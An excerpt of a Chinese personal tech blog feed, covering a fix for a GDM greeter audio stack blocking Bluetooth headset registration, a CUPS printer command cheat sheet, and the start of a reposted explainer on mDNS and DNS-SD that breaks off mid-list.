&lt;p&gt;这套 gdm 音频服务由 socket 激活触发（比如登录界面某次音频请求），&lt;strong&gt;启动后常驻不退出&lt;&#x2F;strong&gt;，而且它注册的蓝牙 profile 不会因为用户会话存在而让位。本机实例：8&#x2F;12 16:32 greeter 音频栈启动并注册成功（&lt;code&gt;ps&lt;&#x2F;code&gt; 可见 &lt;code&gt;gdm&lt;&#x2F;code&gt; 用户的 wireplumber），此后用户会话的 wireplumber 无论怎么重启都注册失败。蓝牙声卡从那天起就没了：日志显示 8&#x2F;27 起每次连接尝试都失败，而&quot;以前成功过&quot;正是 8&#x2F;12 16:32 之前。（用户会话 8&#x2F;12 上午先启动，注册权却被下午的 greeter 拿走——注册只有&quot;成功&#x2F;失败&quot;两态，谁先注册成功谁持有，另一方被拒；历史细节随日志轮转已不可考。）&lt;&#x2F;p&gt;
&lt;h3 id=&quot;profile-zhu-ce-quan-shi-shen-me&quot;&gt;&quot;profile 注册权&quot;是什么？&lt;&#x2F;h3&gt;
&lt;p&gt;蓝牙音频协议栈分两层：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;BlueZ&lt;&#x2F;strong&gt;（bluetoothd）：内核之上的蓝牙核心，管理链路与信令（ACL、AVDTP、SDP 等）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;声音服务器&lt;&#x2F;strong&gt;（PipeWire&#x2F;wireplumber，或旧时代的 PulseAudio&#x2F;bluez-alsa）：真正的音频编解码与数据流收发在用户态完成。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;两层通过 D-Bus 协作。声音服务器启动时向 BlueZ 的 &lt;code&gt;ProfileManager1&lt;&#x2F;code&gt; 接口调用 &lt;code&gt;RegisterProfile(uuid, ...)&lt;&#x2F;code&gt; 登记自己支持的蓝牙音频 profile（A2DP 高音质播放、HFP&#x2F;HSP 通话等），相当于宣告：&quot;这类音频服务由我提供，设备连上来就找我。&quot;（A2DP&#x2F;HFP&#x2F;HSP 对应 UUID 都在其中，见 libspa-bluez5。）&lt;&#x2F;p&gt;
&lt;p&gt;BlueZ 对每个 profile UUID &lt;strong&gt;全系统只允许一个注册者&lt;&#x2F;strong&gt;——这是合理设计：一套系统本该只有一个声音服务器。后来者注册同一 UUID 会被拒：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;org.bluez.Error.NotPermitted
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;谁注册成功，谁就持有&quot;注册权&quot;直到其会话退出；之后任何新注册（新用户登录、重启 wireplumber、另一用户的会话）都被拒绝。wireplumber 注册被拒后认为&quot;蓝牙音频已被别的服务器管理&quot;，整个 bluez5 模块放弃工作，于是该会话的 PipeWire 里&lt;strong&gt;永远不会出现蓝牙声卡&lt;&#x2F;strong&gt;，声音只能从扬声器出——与现象完全吻合。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xiu-fu-shi-ce-you-xiao&quot;&gt;修复（实测有效）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 1. 停掉 gdm（登录界面）的音频栈，释放注册权（会弹 sudo 确认框）
sudo -u gdm env XDG_RUNTIME_DIR=&amp;#x2F;run&amp;#x2F;user&amp;#x2F;$(id -u gdm) systemctl --user stop wireplumber pipewire pipewire-pulse

# 2. 重启自己的 wireplumber 重新注册，并重连耳机
systemctl --user restart wireplumber
bluetoothctl disconnect &amp;lt;MAC&amp;gt;
bluetoothctl connect &amp;lt;MAC&amp;gt;

# 3. 确认蓝牙 sink 出现并设为默认、解除静音
wpctl status                        # 应出现 [bluez5] 设备与耳机 sink
wpctl set-default &amp;lt;sink-id&amp;gt;
wpctl set-mute &amp;lt;sink-id&amp;gt; 0
wpctl set-volume &amp;lt;sink-id&amp;gt; 0.6
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;防复发&lt;&#x2F;strong&gt;：mask gdm 的音频 unit（登录界面没有音频需求，代价只是登录界面不出声）。gdm 的 home 是 &lt;code&gt;&#x2F;var&#x2F;lib&#x2F;gdm3&lt;&#x2F;code&gt;，把 user unit 软链到 &#x2F;dev&#x2F;null 即 mask，重启&#x2F;锁屏后不会再自动启动：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo mkdir -p &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;gdm3&amp;#x2F;.config&amp;#x2F;systemd&amp;#x2F;user
sudo bash -c &amp;#x27;cd &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;gdm3&amp;#x2F;.config&amp;#x2F;systemd&amp;#x2F;user &amp;amp;&amp;amp; \
  for u in wireplumber.service pipewire.service pipewire-pulse.service \
           pipewire.socket pipewire-pulse.socket; do ln -sf &amp;#x2F;dev&amp;#x2F;null &amp;quot;$u&amp;quot;; done&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;zi-cha-qing-dan-sheng-yin-liu-zai-yang-sheng-qi-lan-ya-wu-sheng-shi&quot;&gt;自查清单（声音留在扬声器 &#x2F; 蓝牙无声时）&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;wpctl status&lt;&#x2F;code&gt; 有没有 &lt;code&gt;[bluez5]&lt;&#x2F;code&gt; 设备？没有 → 音频服务器层面就没拿到蓝牙。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;journalctl --user -u wireplumber | grep RegisterProfile&lt;&#x2F;code&gt;：出现 &lt;code&gt;NotPermitted&lt;&#x2F;code&gt; → 注册权被别的会话抢了。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ps -eo user,args | grep wireplumber&lt;&#x2F;code&gt;：出现 gdm 或其他已登录用户的 wireplumber → 就是它抢的（多用户&#x2F;登录界面都会各起一套音频栈）。&lt;&#x2F;li&gt;
&lt;li&gt;若注册正常但 &lt;code&gt;bluetoothctl&lt;&#x2F;code&gt; 反复 &lt;code&gt;Discover: Connection timed out&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;Host is down&lt;&#x2F;code&gt;：多为耳机经典链路被手机等其他设备占用，从耳机侧断开其它设备即可。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux 打印机的使用</title>
        <published>2025-12-22T13:55:04+08:00</published>
        <updated>2025-12-22T13:55:04+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/12/linux 打印机的使用/"/>
        <id>https://vercel.juzhong.asia/2025/12/linux 打印机的使用/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/12/linux 打印机的使用/">&lt;h1 id=&quot;pei-zhi-yang-li&quot;&gt;配置样例&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ippfind
avahi-resolve -n EPSON4DDFDF.local
getent hosts EPSON4DDFDF.local

ipptool -tv ipp:&amp;#x2F;&amp;#x2F;EPSON4DDFDF.local:631&amp;#x2F;ipp&amp;#x2F;print &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;cups&amp;#x2F;ipptool&amp;#x2F;get-printer-attributes.test | grep -i device-id -C3

# 无驱动安装打印机（最简单、最稳定）
lpip=192.168.4.143  # ← 替换为你的打印机 IP
sudo lpadmin -p Epson_L4160_Driverless \
  -E \
  -v &amp;quot;ipp:&amp;#x2F;&amp;#x2F;$lpip:631&amp;#x2F;ipp&amp;#x2F;print&amp;quot; \
  -m everywhere

lpip=192.168.4.143  # ← 替换为你的打印机 IP
sudo apt update &amp;amp;&amp;amp; sudo apt install printer-driver-escpr
lpinfo -m | grep -i &amp;quot;L4160&amp;quot;
sudo lpadmin -p Epson_L4160_Full \
  -E \
  -v &amp;quot;ipp:&amp;#x2F;&amp;#x2F;$lpip&amp;#x2F;ipp&amp;#x2F;print&amp;quot; \
  -m &amp;quot;epson-inkjet-printer-escpr&amp;#x2F;Epson-L4160_Series-epson-escpr-en.ppd&amp;quot;

# 删除打印机
sudo lpadmin -x Epson_L4160_Driverless Epson_L4160_Full

lpinfo -m | grep -i &amp;#x27;m329\|laserjet.pro.*mfp&amp;#x27; | grep -v &amp;#x27;generic&amp;#x27;

ip=192.168.1.100  # ← 替换为你的打印机 IP
sudo lpadmin -p M329 \
             -v &amp;quot;ipp:&amp;#x2F;&amp;#x2F;$ip:631&amp;#x2F;ipp&amp;#x2F;print&amp;quot; \
             -m postscript-hp:0&amp;#x2F;ppd&amp;#x2F;hplip&amp;#x2F;HP&amp;#x2F;hp-laserjet_pro_mfp_m329-ps.ppd \
             -E

# 设为默认打印机
sudo lpadmin -d M329
# 测试打印
echo &amp;quot;✅ M329 驱动配置成功&amp;quot; | lp
tail -f &amp;#x2F;var&amp;#x2F;log&amp;#x2F;cups&amp;#x2F;error_log

# 使用无驱动打印 这是最简单的方式，直接使用系统发现的驱动
# -m everywhere 参数告诉CUPS使用“无驱动”模式自动配置，这利用了你的打印机已经支持的 IPP Everywhere 标准
sudo lpadmin -p HP_LaserJet_Pro_M329 \
  -E \
  -v ipp:&amp;#x2F;&amp;#x2F;HP489EBD702C63.local:631&amp;#x2F;ipp&amp;#x2F;print \
  -m everywhere

echo &amp;quot;HP LaserJet Pro M329 测试页 - $(date)&amp;quot; | lpr -P HP_LaserJet_Pro_M329
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;chang-yong-gong-ju-gong-neng&quot;&gt;常用工具功能&lt;&#x2F;h1&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;工具&lt;&#x2F;th&gt;&lt;th&gt;包名&lt;&#x2F;th&gt;&lt;th&gt;用途&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;cupsd&lt;&#x2F;td&gt;&lt;td&gt;cups-daemon&lt;&#x2F;td&gt;&lt;td&gt;CUPS 后台服务（调度器）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;lp* 系列&lt;&#x2F;td&gt;&lt;td&gt;cups-client&lt;&#x2F;td&gt;&lt;td&gt;打印作业控制（lp, lpstat, lpadmin, cancel）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;ipptool&lt;&#x2F;td&gt;&lt;td&gt;cups-ipp-utils&lt;&#x2F;td&gt;&lt;td&gt;IPP 协议底层探测（诊断必备）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;avahi-browse&lt;&#x2F;td&gt;&lt;td&gt;avahi-utils&lt;&#x2F;td&gt;&lt;td&gt;浏览 DNS-SD 服务（发现打印机）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;system-config-printer（CLI 调用）&lt;&#x2F;td&gt;&lt;td&gt;system-config-printer&lt;&#x2F;td&gt;&lt;td&gt;文本界面配置（备选）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;|对象|	命令|	含义
|-|	-|	-
|Scheduler|	cupsd|	打印调度器
|Printer|	lpadmin|	打印队列
|Job|	lp &#x2F; lpr|	打印任务
|Options|	lpoptions|	打印参数&lt;&#x2F;p&gt;
&lt;h2 id=&quot;chang-yong-ming-ling-xing&quot;&gt;常用命令行&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;lp file.pdf                   # 用默认打印机
lp -d M329 file.pdf           # 指定打印机
lp -o sides=two-sided-long-edge file.pdf  # 双面（长边翻转）
lp -o number-up=2 file.pdf    # 1页打2版（节省纸）
cancel M329-123               # 取消作业ID 123
cancel -a M329                # 取消M329所有作业

sudo tail -f &amp;#x2F;var&amp;#x2F;log&amp;#x2F;cups&amp;#x2F;error_log
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;shou-dong-ce-shi-da-yin-rao-guo-cups-dui-lie&quot;&gt;手动测试打印（绕过 CUPS 队列）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 直接发 PDF 到 IPP 端点（需打印机支持 IPP Everywhere）
curl -X POST \
     -H &amp;quot;Content-Type: application&amp;#x2F;pdf&amp;quot; \
     --data-binary @&amp;#x2F;etc&amp;#x2F;issue \
     &amp;#x27;ipp:&amp;#x2F;&amp;#x2F;192.168.1.100:631&amp;#x2F;ipp&amp;#x2F;print&amp;#x27; \
     -o &amp;#x2F;tmp&amp;#x2F;ipp-response.bin
# 检查响应：若 200 OK 且打印机出纸 → 底层 IPP 正常，问题在 CUPS 配置
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;guan-bi-cups-browsed&quot;&gt;关闭cups-browsed&lt;&#x2F;h2&gt;
&lt;p&gt;默认发现的打印机器常是implicitclassj性能低？？&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo systemctl stop cups-browsed
sudo systemctl disable cups-browsed
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;ming-ling-xing-shi-yong-da-yin-ji&quot;&gt;命令行使用打印机&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 第一步：发现打印机URI, 主动扫描局域网中所有支持 IPP 的设备（打印机、扫描仪、甚至 IPP 服务器）
ippfind  
# 第二步：测试连接
ipptool -tv &amp;#x27;ipp:&amp;#x2F;&amp;#x2F;EPSON4DDFDF.local:631&amp;#x2F;ipp&amp;#x2F;print&amp;#x27; &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;cups&amp;#x2F;ipptool&amp;#x2F;get-printer-attributes.test
# 第三步：添加到CUPS
sudo lpadmin -p EPSON_L4160 \
  -E \
  -v &amp;quot;ipp:&amp;#x2F;&amp;#x2F;EPSON4DDFDF.local:631&amp;#x2F;ipp&amp;#x2F;print&amp;quot; \
  -m everywhere

# 查看DNS-SD服务详细信息
avahi-browse -rpt _ipp._tcp

# 查看所有打印机 # 列出 CUPS 当前已注册并管理的打印机 及其内部表示的设备 URI
lpstat -p -d
# 输出示例：
# printer EPSON_L4160 is idle. enabled since Mon 2023-01-01 10:00:00 CST
# printer HP_LaserJet is idle. enabled since Mon 2023-01-01 10:00:00 CST
# system default destination: EPSON_L4160

# 查看详细打印机信息
lpstat -l -v

# 查看打印队列
lpq
# 输出示例：
# EPSON_L4160 is ready
# no entries

# 查看打印机选项
lpoptions -p &amp;lt;printer_name&amp;gt; -l# 查看所有打印机
lpstat -p -d
# 查看详细打印机信息
lpstat -l -v

# 列出所有可用驱动
lpinfo -m
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;tian-jia-da-yin-ji&quot;&gt;添加打印机&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 添加网络打印机（IPP协议）
sudo lpadmin -p EPSON_L4160 -E \
  -v &amp;quot;ipp:&amp;#x2F;&amp;#x2F;192.168.1.100&amp;#x2F;ipp&amp;#x2F;print&amp;quot; \
  -m &amp;quot;drv:&amp;#x2F;&amp;#x2F;&amp;#x2F;sample.drv&amp;#x2F;generic.ppd&amp;quot; \
  -L &amp;quot;办公室&amp;quot;

# 参数解释：
# -p：打印机名称
# -E：启用打印机
# -v：设备URI
# -m：PPD驱动文件
# -L：位置描述

# 添加USB打印机
sudo lpadmin -p HP_Deskjet -E \
  -v &amp;quot;usb:&amp;#x2F;&amp;#x2F;HP&amp;#x2F;Deskjet?serial=XYZ123&amp;quot; \
  -m &amp;quot;ppd&amp;#x2F;hp-deskjet.ppd&amp;quot;

# 添加SMB共享打印机
sudo lpadmin -p Network_Printer -E \
  -v &amp;quot;smb:&amp;#x2F;&amp;#x2F;workgroup&amp;#x2F;user:password@server&amp;#x2F;printer&amp;quot; \
  -m &amp;quot;everywhere&amp;quot; \
  -o auth-info-required=username,password

# 发现网络打印机
ippfind
# 输出示例：ipp:&amp;#x2F;&amp;#x2F;EPSON%20L4160._ipp._tcp.local&amp;#x2F;

# 获取驱动信息
lpinfo --make-and-model &amp;quot;EPSON L4160&amp;quot; -m
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;pei-zhi-da-yin-ji&quot;&gt;配置打印机&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 设置默认打印机
sudo lpadmin -d EPSON_L4160

# 配置打印机选项
sudo lpadmin -p EPSON_L4160 \
  -o PageSize=A4 \
  -o Duplex=DuplexNoTumble \
  -o ColorModel=RGB \
  -o Resolution=600dpi

# 禁用&amp;#x2F;启用打印机
sudo cupsdisable EPSON_L4160
sudo cupsenable EPSON_L4160

# 拒绝&amp;#x2F;接受打印作业
cupsreject EPSON_L4160
cupsaccept EPSON_L4160
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;ji-ben-da-yin&quot;&gt;基本打印&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 基本打印
lpr document.pdf

# 指定打印机
lpr -P EPSON_L4160 document.pdf

# 指定份数
lpr -# 3 document.pdf

# 指定打印范围
lpr -o page-ranges=1-5,8,11-13 document.pdf

# 双面打印
lpr -o sides=two-sided-long-edge document.pdf

# 打印选项组合
lpr -P HP_LaserJet -o media=A4 -o sides=two-sided-short-edge -# 2 report.pdf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;da-yin-dui-lie-guan-li&quot;&gt;打印队列管理&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 查看所有打印作业
lpstat -o

# 输出示例：
# EPSON_L4160-101 user1 1024 Mon 10:00:00
# HP_LaserJet-102 user2 2048 Mon 10:01:00

# 查看特定打印机的作业
lpq -P EPSON_L4160

# 取消打印作业
lprm 101
# 或取消所有作业
lprm -

# 移动作业到另一台打印机
lpmove 101 HP_LaserJet

# 查看作业详情
lpq -l -P EPSON_L4160
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;gao-ji-pei-zhi&quot;&gt;高级配置&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 主要配置文件
&amp;#x2F;etc&amp;#x2F;cups&amp;#x2F;cupsd.conf      # CUPS服务配置
&amp;#x2F;etc&amp;#x2F;cups&amp;#x2F;printers.conf   # 打印机定义
&amp;#x2F;etc&amp;#x2F;cups&amp;#x2F;ppd&amp;#x2F;            # PPD驱动文件目录
&amp;#x2F;var&amp;#x2F;spool&amp;#x2F;cups&amp;#x2F;          # 打印队列目录

# 查看CUPS错误日志
sudo tail -f &amp;#x2F;var&amp;#x2F;log&amp;#x2F;cups&amp;#x2F;error_log

# 查看访问日志
sudo tail -f &amp;#x2F;var&amp;#x2F;log&amp;#x2F;cups&amp;#x2F;access_log

# 设置日志级别
sudo cupsctl LogLevel=debug
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;qu-dong-fang-an-dui-bi-ji-yu-ni-de-cmd-lie-biao&quot;&gt;驱动方案对比（基于你的 CMD 列表）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;驱动方案&lt;&#x2F;th&gt;&lt;th&gt;是否支持 PCLXL&lt;&#x2F;th&gt;&lt;th&gt;是否支持 PDF&lt;&#x2F;th&gt;&lt;th&gt;是否支持 POSTSCRIPT&lt;&#x2F;th&gt;&lt;th&gt;状态反馈&lt;&#x2F;th&gt;&lt;th&gt;推荐度&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;hpcups&lt;&#x2F;td&gt;&lt;td&gt;✅ 原生优化&lt;&#x2F;td&gt;&lt;td&gt;✅ 直接处理&lt;&#x2F;td&gt;&lt;td&gt;✅ Ghostscript 后端&lt;&#x2F;td&gt;&lt;td&gt;✅ 完整（墨量&#x2F;卡纸）&lt;&#x2F;td&gt;&lt;td&gt;⭐⭐⭐⭐⭐&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;IPP Everywhere (everywhere)&lt;&#x2F;td&gt;&lt;td&gt;❌ 转 PDF&lt;&#x2F;td&gt;&lt;td&gt;✅ 原生&lt;&#x2F;td&gt;&lt;td&gt;❌ 无 PostScript&lt;&#x2F;td&gt;&lt;td&gt;⚠️ 仅基础状态&lt;&#x2F;td&gt;&lt;td&gt;⭐⭐⭐&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Generic PostScript&lt;&#x2F;td&gt;&lt;td&gt;❌&lt;&#x2F;td&gt;&lt;td&gt;❌&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;❌&lt;&#x2F;td&gt;&lt;td&gt;⭐&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;white-check-mark-wei-shen-me-hpcups-geng-you&quot;&gt;✅ 为什么 hpcups 更优？&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;你的打印机广播了 PCLXL（高效二进制语言），而 hpcups 会：&lt;&#x2F;li&gt;
&lt;li&gt;直接生成 PCLXL → 比 PDF 转换快 20%+&lt;&#x2F;li&gt;
&lt;li&gt;利用 CID:HPLJPDLV1 启用硬件级双面校准&lt;&#x2F;li&gt;
&lt;li&gt;通过 PJL 查询 SN:CNDRP7P136 实现精确墨量监控&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>mDNS与DNS-SD以及在Matter中使用 - FreeBuf网络安全行业门户</title>
        <published>2025-12-22T00:00:00+00:00</published>
        <updated>2025-12-22T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/mdns与dns-sd以及在matter中使用-freebuf网络安全行业门户/"/>
        <id>https://vercel.juzhong.asia/obsidian/mdns与dns-sd以及在matter中使用-freebuf网络安全行业门户/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/mdns与dns-sd以及在matter中使用-freebuf网络安全行业门户/">&lt;h1 id=&quot;mdnsyu-dns-sdyi-ji-zai-matterzhong-shi-yong-freebufwang-luo-an-quan-xing-ye-men-hu&quot;&gt;mDNS与DNS-SD以及在Matter中使用 - FreeBuf网络安全行业门户&lt;&#x2F;h1&gt;
&lt;p&gt;原文链接：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.freebuf.com&#x2F;articles&#x2F;network&#x2F;404855.html&quot;&gt;https:&#x2F;&#x2F;www.freebuf.com&#x2F;articles&#x2F;network&#x2F;404855.html&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yi-mdns&quot;&gt;一、mDNS&lt;&#x2F;h2&gt;
&lt;p&gt;多播DNS（Multicast DNS，简称mDNS）是一种用于局域网（LAN）内设备自动进行域名解析的协议。它在没有中央DNS服务器的情况下，允许设备自我注册和查询主机名、IP 地址等信息。mDNS 使用与标准DNS相同的报文格式。mDNS通常和DNS-SD一起使用，用于服务发现和名称解析。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;gong-zuo-yuan-li&quot;&gt;工作原理&lt;&#x2F;h3&gt;
&lt;p&gt;mDNS使用IP组播（Multicast）技术，通过发送DNS查询和响应报文来实现主机名到IP地址的解析。mDNS使用固定的IPv4多播地址&lt;code&gt;224.0.0.251&lt;&#x2F;code&gt;和IPv6多播地址&lt;code&gt;FF02::FB&lt;&#x2F;code&gt;，在UDP端口&lt;code&gt;5353&lt;&#x2F;code&gt;上进行通信。以下是mDNS的工作步骤：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;启动和自注册&lt;&#x2F;strong&gt;：
每个设备启动时，会选择一个主机名（如 &quot;hostname.local&quot;）并通。过向mDNS的组播地址发送查询请求，询问这个主机名是否已经存在。如果没有冲突，设备就会使用这个主机名注册自己。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;冲突检测和名称分配&lt;&#x2F;strong&gt;：
如果已有设备使用相同的主机名，新设备需要尝试不同的名称，直到选定一个唯一的主机名。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;名称解析&lt;&#x2F;strong&gt;：
当设备需要解析某个主机名的IP地址时，它会发送一个mDNS查询报文到局域网内的多播地址，所有接收到报文的设备都会检查查询的主机名是否匹配。如果匹配，它们会回复一个响应报文，包含相应的IP地址信息。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;shi-li&quot;&gt;示例&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;she-bei-zi-zhu-ce&quot;&gt;设备自注册&lt;&#x2F;h4&gt;
&lt;p&gt;假设设备1自注册其主机名&quot;device1.local&quot;。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;设备1发送查询报文，检查是否有其他设备使用同样的主机名：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;QUERY:
Name: device1.local
Type: ANY
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果没有设备回复该查询，设备1将自己的主机名 &quot;device1.local&quot; 和IP地址进行自注册&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;ming-cheng-jie-xi&quot;&gt;名称解析&lt;&#x2F;h4&gt;
&lt;p&gt;设备2在网络中查询 &quot;device1.local&quot; 的IP地址：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;设备2发送查询报文，查找 &quot;device1.local&quot; 的A记录：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;QUERY:
Name: device1.local
Type: A
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;设备1收到查询后，发送响应报文：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ANSWER:
Name: device1.local
Type: A
Address: 192.168.1.2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;shi-xian&quot;&gt;实现&lt;&#x2F;h3&gt;
&lt;p&gt;典型的mDNS实现包括：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Apple的Bonjour&lt;&#x2F;strong&gt;：广泛用于Apple设备中，用于自动发现局域网中的设备和服务。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Avahi&lt;&#x2F;strong&gt;：一个开源的mDNS和DNS-SD实现，常用于Linux系统中。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;er-dns-sd&quot;&gt;二、DNS-SD&lt;&#x2F;h2&gt;
&lt;p&gt;DNS-SD（DNS-Based Service Discovery，即基于DNS的服务发现）是一个网络协议框架，它基于mDNS实现。DNS-SD主要用于在本地网络中自动发现并使用网络服务，如打印机、文件共享、媒体播放等。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;gong-zuo-yuan-li-1&quot;&gt;工作原理&lt;&#x2F;h3&gt;
&lt;p&gt;DNS-SD借助于多播DNS（mDNS），在本地网络内进行服务的发现和发布。以下是DNS-SD的基本工作原理：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;服务注册&lt;&#x2F;strong&gt;：
